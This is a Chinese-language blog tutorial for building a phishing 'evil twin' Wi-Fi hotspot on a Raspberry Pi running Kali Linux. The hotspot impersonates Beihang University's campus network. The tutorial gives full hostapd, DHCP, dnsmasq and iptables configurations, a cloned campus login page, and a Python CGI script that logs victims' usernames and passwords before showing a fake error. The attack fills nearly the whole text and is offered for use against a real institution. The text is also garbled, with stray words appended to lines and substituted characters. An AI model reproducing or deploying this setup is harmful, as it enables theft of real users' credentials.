The Raspberry Pi is a tiny and affordable computer that you can use to learn programming through fun, practical projects.javascript
樹莓派是一個小型的並且很便宜的($35)電腦,在這個電腦上你能夠經過有趣的實用的項目學習編程。html
樹莓派2 Model B長這樣:java
具體介紹戳官網:Raspberry Pi - Teach, Learn, and Make with Raspberry Pipython
樹莓派官方出的系統是Raspbian,基於Debian並根據樹莓派的硬件進行了優化:linux
Raspbian is a free operating system based on Debian optimized for the Raspberry Pi hardware. git
具體介紹戳官網:Raspbian: FrontPageapache
固然其餘的操做系統,如Ubuntu、Fedora都有針對樹莓派的版本。我選的系統是Kali Linux,選它的緣由請參考標題。編程
Kali官方有針對樹莓派2的版本,具體安裝教程戳官網:Kali Linux – Raspberry Pi | Kali Linux瀏覽器
我選的無線網卡是 EDUP EP-N8508GS黃金版 迷你USB無線網卡 樹莓派專用,芯片是rtl8188cus,免驅即插即用。bash
選擇無線網卡的時候請參考官網:RPi USB Wi-Fi Adapters
我選的Micro SD卡是 閃迪(SanDisk)32GB UHS-I 至尊高速移動MicroSDHC-TF存儲卡(讀速48Mb/s)
選擇Micro SD卡的時候請參考官網:RPi SD cards
假設已經按照教程安裝好了系統,也插上無線網卡了,接下來就是安裝必要的軟件。
鏈接樹莓派的方式有經過顯示器(須要HDMI轉接頭)、SSH登陸、VNC鏈接等,由於Kali開機自動啓動SSH Server,因此只要知道樹莓派的IP地址,用SSH連過去就好了,Kali的默認用戶名是root,登陸密碼是toor。
代碼前有#的表示在bash下以root身份運行的代碼,沒有的表示修改的文件內容。
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free deb http://mirrors.aliyun.com/kali kali main non-free contrib deb-src http://mirrors.aliyun.com/kali kali main non-free contrib deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
而後進行更新,apt-get update && apt-get upgrade
下面連接中的文件可能有更新,請根據須要進入對應目錄選擇版本
# wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20150131-1_all.deb # wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb # wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb # dpkg -i triggerhappy_0.3.4-2_armhf.deb # dpkg -i lua5.1_5.1.5-7.1_armhf.deb # dpkg -i raspi-config_20150131-1_all.deb
而後使用raspi-config命令進入系統設置,選擇第一項Expand Filesystem擴充,固然系統設置中還有其餘設置,根據須要進行設置便可。用df -lh檢查文件系統大小,根分區是否爲SD卡大小
hostapd的做用是提供無線共享,即配置併成功運行hostapd後,可以搜索到熱點
# apt-get install hostapd
因爲無線網卡支持的問題,系統安裝的hostapd不支持rtl8188cus芯片,須要將hostapd替換爲兼容版本:
# wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip # unzip hostapd.zip # sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak # sudo mv hostapd /usr/sbin/hostapd.cat # sudo ln -sf /usr/sbin/hostapd.cat /usr/sbin/hostapd # sudo chmod 755 /usr/sbin/hostapd
修改(沒有的話新建)/etc/hostapd/hostapd.conf:
interface=wlan0 ctrl_interface=wlan0 ctrl_interface_group=0 ssid=BUAA-WIFI # 僞熱點名,例如個人是校園網的WIFI熱點名 channel=2 macaddr_acl=0 ignore_broadcast_ssid=0 driver=rtl871xdrv hw_mode=g wmm_enabled=1
由於是用來釣魚的僞熱點,因此不設置熱點密碼
修改/etc/default/hostapd,去掉DAEMON_CONF前的註釋符號並修改成咱們的配置文件路徑:
DAEMON_CONF="/etc/hostapd/hostapd.conf"
啓動hostapd:
# service hostapd start
isc-dhcp-server提供的是爲接進熱點的設備分配IP
# apt-get install isc-dhcp-server
修改/etc/dhcp/dhcpd.conf:
ddns-update-style none; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 192.168.126.112 netmask 255.255.255.240 { # 建立一個子網 range 192.168.126.113 192.168.126.125; # 分配的IP範圍 option domain-name-servers 192.168.126.126; # 使用本機的DNS服務器 option domain-name "rpi"; option routers 192.168.126.126; # 網關爲本機 option broadcast-address 192.168.126.127; # 廣播地址 }
修改/etc/default/isc-dhcp-server:
DHCPD_CONF="/etc/dhcp/dhcpd.conf" INTERFACES="wlan0"
啓動isc-dhcp-server:
# service isc-dhcp-server start
dnsmasq提供的是爲接進熱點的設備進行流量引導,Kali中已經安裝好dnsmasq了
修改(沒有的話新建)/etc/dnsmasq.conf:
interface=wlan0 bind-interfaces address=/#/192.168.126.126 # 將對全部網站的訪問重定向到本機
啓動dnsmasq:
# dnsmasq
修改/etc/sysctl.conf:
net.ipv4.ip_forward=1
修改/proc/sys/net/ipv4/ip_forward爲1
添加轉發規則:
# sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT # sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
而後用iptables -t nat -S和iptables -S檢查是否添加成功
爲了讓上面的規則在開始時自動添加,執行:
# sh -c "iptables-save > /etc/iptables.ipv4.nat"
修改/etc/network/interfaces,添加:
auto wlan0 allow-hotplug wlan0 iface wlan0 inet static address 192.168.126.126 # 與以前dhcpd.conf填寫的網關地址相同 netmask 255.255.255.240 # 與以前dhcpd.conf填寫的子網掩碼相同 up iptables-restore < /etc/iptables.ipv4.nat
apache2提供的是爲將重定向的流量引導到本機服務器運行的網頁中,Kali中已經安裝好apache2了
修改/etc/apache2/sites-available/default,在合適的標籤下添加:
<VirtualHost *:80> ... ServerName gw.buaa.edu.cn # 僞造服務器名 DirectoryIndex gw.buaa.edu.cn.html # 將默認界面改成釣魚網站頁面 ... <Directory "/usr/lib/cgi-bin"> AddHandler cgi-script .py # 添加對.py的支持 ...
啓動apache2:
# service apache2 start
我要釣魚的是學校的校園網登陸網站,因此copy校園網登陸的界面,修改裏面的表單提交action,提交到本機服務的後臺,例如個人釣魚網站/var/www/gw.buaa.edu.cn.html:
... <script type="text/javascript"> function login() { var errorMsg = []; var username = $("input[name='username']").val(); var password = $("input[name='password']").val(); if(username == '' || username == '用戶名*') { errorMsg.push('請輸入用戶名.'); $('#txtuser').focus(); } if (password == '' || password == '密碼*') { errorMsg.push('請輸入密碼.'); $('#txtPwd').focus(); } if (errorMsg != "") { if (errorMsg.length > 0) { $('#divloginError').html('').html($('<ul/>', { html: '<li>' + errorMsg.join('</li><li>') + '</li>' })).show(); $('#dvloginErrorM').show(); $.mobile.silentScroll(125); } else { $('#dvloginErrorM').hide(); } } else { document.aspnetForm.submit(); } } </script> ... <!--表單提交--> <form name="aspnetForm" method="post" action="/cgi-bin/login.py"...> <!--用戶提交按鈕--> <a href="javascript:login()".../> </form>
編寫後臺處理程序,我用的是python的cgi,在/usr/lib/gci-bin下新建login.py:
#!/usr/bin/python #-*- encoding: utf-8 -*- import cgi, cgitb form = cgi.FieldStorage() username = form.getvalue('username') # 得到用戶名 password = form.getvalue('password') # 得到密碼 f = open('/cat/gw.buaa.edu.cn.log', 'a') # 注意apache是否有所寫文件夾的權限!! f.write("%s: %s\r\n" % (username, password)) # 將用戶名和密碼寫入文件 f.close() print "Content-type:text/html\r\n\r\n" # 而後顯示一個錯誤頁面 print '<html><head>' print '<title>Error 126</title>' print '</head><body>' print '<h1>Error establishing a database connection</h1>' print '</body></html>'
將login.py的權限設置爲755,即有運行權限
# update-rc.d hostapd enable # update-rc.d isc-dhcp-server enable # update-rc.d apache2 enable
對於dnsmasq,須要手動編寫開機啓動腳本,在/etc/init.d/下新建文件dnsmasq:
#!/bin/bash set -e case "$1" in start) dnsmasq& ;; stop) killall -9 dnsmasq ;; restart) killall -9 dnsmasq dnsmasq& ;; esac exit 0
而後進入/etc/rc3.d/下,執行:
# ln -sf /etc/init.d/dnsmasq S06dnsmasq
S06表示啓動優先級,數字越大,優先級越低,好比服務A的運行要依賴服務B,那A的數字就應該大於B的
最後,編輯/etc/rc.local,添加:
service dnsmasq start
首先鏈接上僞熱點BUAA-WIFI,而後在瀏覽器輸入一個網址,瀏覽器將自動跳轉到校園網登陸界面:
當用戶輸入登陸的用戶名和密碼,點擊登陸後,將跳轉到錯誤頁面,可是用戶名和密碼都已經被後臺服務器記錄到文件中。